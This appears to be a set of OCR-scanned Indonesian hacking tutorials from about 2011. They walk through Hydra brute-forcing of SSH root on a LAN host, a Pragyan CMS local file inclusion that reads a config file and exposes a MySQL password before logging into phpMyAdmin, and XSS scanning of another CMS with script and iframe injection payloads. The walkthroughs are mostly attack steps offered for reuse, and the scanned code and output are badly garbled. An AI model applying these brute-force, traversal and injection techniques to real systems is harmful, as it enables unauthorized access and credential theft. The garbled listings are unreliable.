Pertama-tama kita asumsikan target kita adalah 192.168.1.11, kita lakukan NMAP dulu
untuk memastikan target port 22 untukk service SSH terbuka

b £ nmap -& 192.158.1.11

Starting Nmap 4.60 { http://nmap.org ) at 2011-11-08 09:11 GMT
sting ports on 192, 168
sed ports
TCE VERSION
OpenSSH 4.7 (protocol 2.0)
tcp open X cess denied)
MAC Addr 4:46:19:¢ 1:C1 (Unknown)
Device t 3 :

Running: Linux 2

05 details: ;

Uptime: @.023 days (s Tun Nau B 08:38:42 2011)
Network Distance: 1 th

Service Info: 0S: Unix

Seeoc s 3ans Y ﬁ"i '3 I T T N n A

i

05 and Service detection performed. Please report any incorrect results at http://nma

Mmap done; 1 IP address (1 host up) scanned in 22,414 seconds




Dari hasil dengan scanning NMAP ditemukan bahwa port 22 terbuka dengan service
SSH, kita coba langsung hack sgja dengan hydra, pastikan kamus.txt sudah disigpkan
untuk melakukan brute force.

ar / allowed anly for legal purposes.
Hydrj LhTTp Uq A4 42
[DATA] lL

[DATA] att L sh2 on pDIT

[STATUS] : 15 Far 192.165.1.11 (waiting for
EE][SS“L] ha t: 192, 168. 1. login: root  password
Hydra (http://www.thc.org) finished at 2€ §

Binggo kita mendapatkan passwordnya, untuk kali ini passwordnya penulis samarkan
karena suatu hal, oke di sini penulis cobalogin dengan password yang didapat.

bt “55h 192.168.1.11
'I'ht—1 -|u’rI|--r|’r1L ity of host '192
Sh key fingerprint is 98 ;

Are you sure you want to continue cnnnﬂLflnq fveJHHUI ]
Warning: Pﬁrmanﬁnf1¢ added '192.168.1.11' (RSA) to the lis
root@l9e2. 168, 1.11's password:

Last login: Mon Nﬂh 7 06:11:81 2011 from 192.158.1.10
[root@localhost ~]1# pwd
JSroot
[root@localhost ~1# whoami
root
[root@localhost ~]# 1s -al
al llL

* root root 4095 2011-11-07 @5:08 /
root root 40596 2011-11-07 =T !
root root 145 2006-08-04 19:34 .bash completion
root root 1576 2011-11-86 19:84 .bash history
-PW-r-- - root root 24 Z2006-0 : 134 . bhash_logout
“W-r--r-- root root 106 2006-08-84 19;34 ,bhash profile

Login berhasil dengan backtrack ke server target. Jika anda administrator dan
menggunakan password dengan kemungkinan masih bisa ditebak dengan mudah maka
andalebih baik mengganti passwordnya dengan lebih kompleks atau menambah
password lama dengan kombinasi angka dan sebagainya.

Oleh Kurniawan - yk family code@yahoo.com
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Membedah celah keamanan LFI pada CM S Pragyan
3.0 yang dapat memungkinkan untuk mengakses

shell padatarget

Sebenarnyapenulis membedah bug pada LFI ini sudah ada di artikel sebelumnyadi
http://blog.xcode.or.id/?p=565, pada kasus tersebut adalah pada plugin wordpress, di sini
saya membahas pada CM S Pragyan 3.0, bug ini ditemukan oleh Or4nG.M4n. Di sini
penulis membahas lagi tentang LFI untuk menunjukkan bahwa celah keamanan LFI itu
tidak harus selalu dengan environ jika ingin mendapatkan akses shell pada komputer
target.

Di sini penulis mencoba melakukan testingnya di localhost.

Shop web

Welcome to Pragyan CMS v3 (Beta)!

Mote that this is the Beta release i.e. a testing version and is not a stable How to use
release. Although we've tried our best pest-control, but still if you find any

< = Features
bugs crouching around, report it at : :

Pragyan Tearm

Farmula: 0

Also you can wisit us at Pragyan CMS home page @ http//sourceforge .net/projects Liﬁks;

fpragyan

For rore details including license and credits, please read the README.htrl file in Bragyan ©ME Project

the docs folder, Pragyan Festival


http://blog.xcode.or.id/?p=565

Bug pada CMS ini bisadi lihat pada 2 file yaitu pada index.php dan download.lib.php

file index.php

ifj{isset(s GET['fileget'])) {
require once(fsourceFolder.” /download. lib.php™)
faction=""":
if{issetis GET['actiom']))

fffﬁiﬂ“'ﬁ:ﬁfff'ﬂﬂﬂfﬁﬂ'J:
dnmnlnad($pagEId,$userId,$_GET['fileget’],$actiéﬁzz::>

£ T

Biang keladi padafile index.php adalah pada$ GET] fileget],

download.lib.php

function dowmload(spageld, suserld, $fileHamE,$acti%EEEEE:E:::)

if{épageld===£fal=e) {
header {"http /1.0 404 Not Found™ )

= LTIV | T L i T T T . - A e . L IR

Dengan bug terlihat diatas memungkinkan kita untuk mendownload file-file yang ada di
server web, hmm mengerikan bukan. :D

Kita langsung saja mencoba untuk mendownload file readme_en.txt

http://localhost/shop/?page=/& action=profile& fileget=../../../../..]..]./readme en.txt

MR- meints k0 8 F Dol diad periisgsicanes Cor the Ei1lE &


http://localhost/shop/?page=/

=) Downloads

£ 9NZplmuR. doc - Notepad
File  Edit Wiew  Help
##dtdd Apache Friends =aMPP (Basis Package) wersion 1.7.3 ###ddd

Format

+ Apache 2.2.14 CIFvE enahled)

+ MySoL 5.1.41 (Community Server) with PExT engine 1.0.09-rc

+ PHP 5.3.1 (PEAR, Mail_mMime, MDEZ, Zend)

+ Perl 5.10.1 (Bundle::apache?, Apache?::preqguest, Bundle::Apache::AsP,
Bundle::Email, Bundle::DED::mysgl, DBD::sQlite, Randy kKobes PPM]
+ @AMPP Control version 2.5.8 (apachefFriends Edition)
+ =AMPP CLT Bundle 1.4

Isi file readme_en.txt kita dapat, sekarang kita cobalebih extreme untuk mendapatkan
akses ke database hihihi.

http://localhost/shop/?page=/& action=profile& fileget=../../../../../..]../htdocs/shop/cms/con

fig.inc.php

E cgbelpl M.doc - WordPad

File Edit ‘iew Insert Format  Help
D E Sk #  @Bo B

< Zphp
.lu"ﬁﬂ'

* Bpackagese pragysn

* [fcopyright (o) zZ010 Fragyan Tesmn

* @license http://fuvw.gnu.orgs licenses,;, GNU Public License
* For more details, see RELDHME

L

FEEEENEAMYIOL SETTINGS mr i r s v e n v i rwa wwwnwwwaw s
A4 defining the ip address of the mysgl serwver.
define ("MVSQL SERVER", "localhost™)

/¢ defining the usernams to connect to the datshase.
define | "MYSQL_ USERNAME™, "root™):

4 defining the password used to connect to the database.
define ("MYSQL PASSWORD™, "tehhijau™):

4 defining the name of the databsase to connect to.
define("MYSOL DATABASE", "shop™):


http://localhost/shop/?page=/

Binggo, kita mendapatkan username dan password mysglnya :D

Jika sudah mendgpatkan username dan passwordnyaya dapat dicoba kita panggil
phpmyadminnya

http://localhost/phpmyadmin

Authentication Required

9 & username-and password are being requested b bttp:fflocalhost. The site sawvs: "phpMyddmin
localhost"

User Mame: | rook |

Passwird; | TYITTIYY |

[ Ok ] [ Cancel ]

Saat berhasil login makatampil halaman PhpMyadmin.

# Server: localhost

ieiDatabases JESOL  $FStatus
Gealmpon

Variables [ilCharsets &d Engines g2Pr

Actions| MySQ
& Change password 2
Log out & s

(R

MySQL localhost b L
- 3]

i Create new datahase i

| ||CDIIati|:|n V!l Create ] Web =

My SCOL connection collation: | utt_general_ci v | "
4

Interface g

—_ . e



http://localhost/phpmyadmin

Binggo jika sudah mendgpatkan akses phpmyadmin maka dengan sedikit exploitasi, anda
dapat dengan mudah mengakses shell pada komputer target. Dengan ini maka sudah
dapat diketahui bahwa untuk mendapatkan shell di komputer target itu tidak harus
melalui environ, karena akses environ banyak yang sudah ditutup pada distro-distro linux
yang baru, belum lagi jika targetnya windows server hehe. Apakah anda salah satu orang
yang berpikir bahwa environ adalah satu-satunya cara untuk mendapatkan akses pada LFl
? Capedeh :D

Oleh Kurniawan - yk family code@yahoo.com
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Contoh caraingtant menjadi perilis advisory security

:lﬂ[ T _il T

Di sini penulis akan membahas tentang bagaimana sih cara menjadi seorang penemu bug
secara instant pada suatu CMS. Di sini penulis asumsikan untuk bug XSS yang ingin
dicari.

Jika anda belum mengetahui XSS, masuk gjadi artikel tulisan saya sebelumnyayang
membahas tentang Teknik XSS (Cross Site Scripting) untuk mendapatkan shell target si
pembuka URL, http://blog.xcode.or.id/?p=634.

Baiklah kita langsung sgja.

Silahkan coba download XSS Scanner di http://www.l00.ro/2011/python-xss-scanner,
lalu cari CMS-CM S yang bertebaran di internet lalu dites apakah punyacelah XSS atau
tidak.

Contohnya CM S yang ditemukan bugnya oleh th3.g4m3_0v3r sebelumnyayaitu CMS
wcms yang CM S-nya bisa anda download di http://code.google.com/p/wcms, katakanlah
diasumsikan anda tidak tahu CMS ini ada bugnya atau tidak, lalu tinggal pasang sgja
CMSitu di web server anda, disitu cukup diteliti apakah pada CM S ini ada bug XSS atau
tidak.

Oke lanjut. Di sini Setelah anda download XSS Scanner dan CM Situ, jangan lupa
download ActivePython lalu diinstall.

Setelah terinstall ActivePython dan sudah terpasang web CM Snya di web server, maka
tinggal andajalankan sgja XSS Scannernya dengan perintah seperti pada gambar.


http://blog.xcode.or.id/?p=634
http://www.lo0.ro/2011/python
http://code.google.com/p/wcms

ommand Prompt

C:sPython26>python xss2.py —s http:/slocalhostswoms
ez pysl5: DeprecationWarning: the sets module is deprecated
import sys. urllib2,. ve. sets. vandom. httplibh. time. socket

dihpdr8latlgmaillidot Jcom X585 Scanner vl 3

BESS%_=can Loaded

Uerbhose Mode OFf

filert: DIHYDRExZDOuN=:x2DYHU

#58 Pavloads: 6

Site: http:-/7localhost ucms

Port: BA

Started: Thu Jan 12 B2:85:55 2812

Cancel: Pre=ss Ctrl-C

Searching: localhost uwocms
Pariablez: 2 ! Actions:
Aug Heguests: 24

[*]1 ¥88: localhostrwomss?p=x22x3ExICscriptx3Ealertx28x27FD3HY DRE:2DBuwH=<2DYRAL2
Fx3Cx2Fzscript«3E




ommand Prol

Searching: localhostsuwcms
Uariabhles: 2 | Actionz: @ | Fields:
Avg Regquests: 24
[?*]1 ¥88: localhostswems/s7p=x22%3Ex3CscriptxIEalertx28x2YDIHYDRE: 2DAuN=»2DY AL 2
29 3CH2Fzcriptx3E
[+1 Response: 288 0K
[+]1 Collecting Emails: leocalhost

[?*] ¥88: localhostAwoms 7p='"';t——""Cu2VD3HYDREx2DBuNzx2DYAL27>=8{ (2>
[+1 Response: 288 0K

[#1 BE5: localhostrsuwenmss?p=';alert{@) "' jalert{1d /7«22 alevt 22/ 022 alert (32 s
—#IEx3C8CRIPT#3Ex22%3E" x3Ex3CECRIPT»x3Ealert (x2YDIHYDREX:2DBuN=x 2 DY AU 27 > 3C/3CH
IPT#3E=&{>x22);alert{6>;function

[+]1 Response: 208 0K

[*]1 ¥55: localhostAwcns ?p={stextareaX{scriptralert(x27DIHYDREXZDOuN=*2DYAUX27><{

Ssocpript >
[+]1 Response: 288 0K

[+] Potential XSS5 found: 4

Binggo, kita mendapatkan bugnya XSS pada CM S tersebut.

Setelah itu tinggal kitates langsung.

http://localhost/wems/?p= Y2293 E%3C/TI TLEYGBE%3CI FRAMEY%20sr c=http://192.16
8.1.2%3E%3CI FRAMEY3E

Your Main Site

Your Main Site Slogan

Horre

Please go to w-CMS

development site for the faCEhook

latest news on updates

and changes.

Meruju Facebook. com

page - \">


http://192.16

Binggo, ternyata berhasil, setelah itu kirim sgja apa yang anda temukan ke situs-situs
security, dan mungkin anda akan dikenal sebagai hacker elite oleh orang-orang tertentu,
hacker elite? ah anda bercanda.

Oleh Kurniawan — yk family code@yahoo.com
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Y ogyafree X-code hanya membuka pengiriman artikel, tutorial yang berhubungan
dengan hacking dan keamanan komputer. Pengiriman dikirim ke
yk family code@yahoo.com
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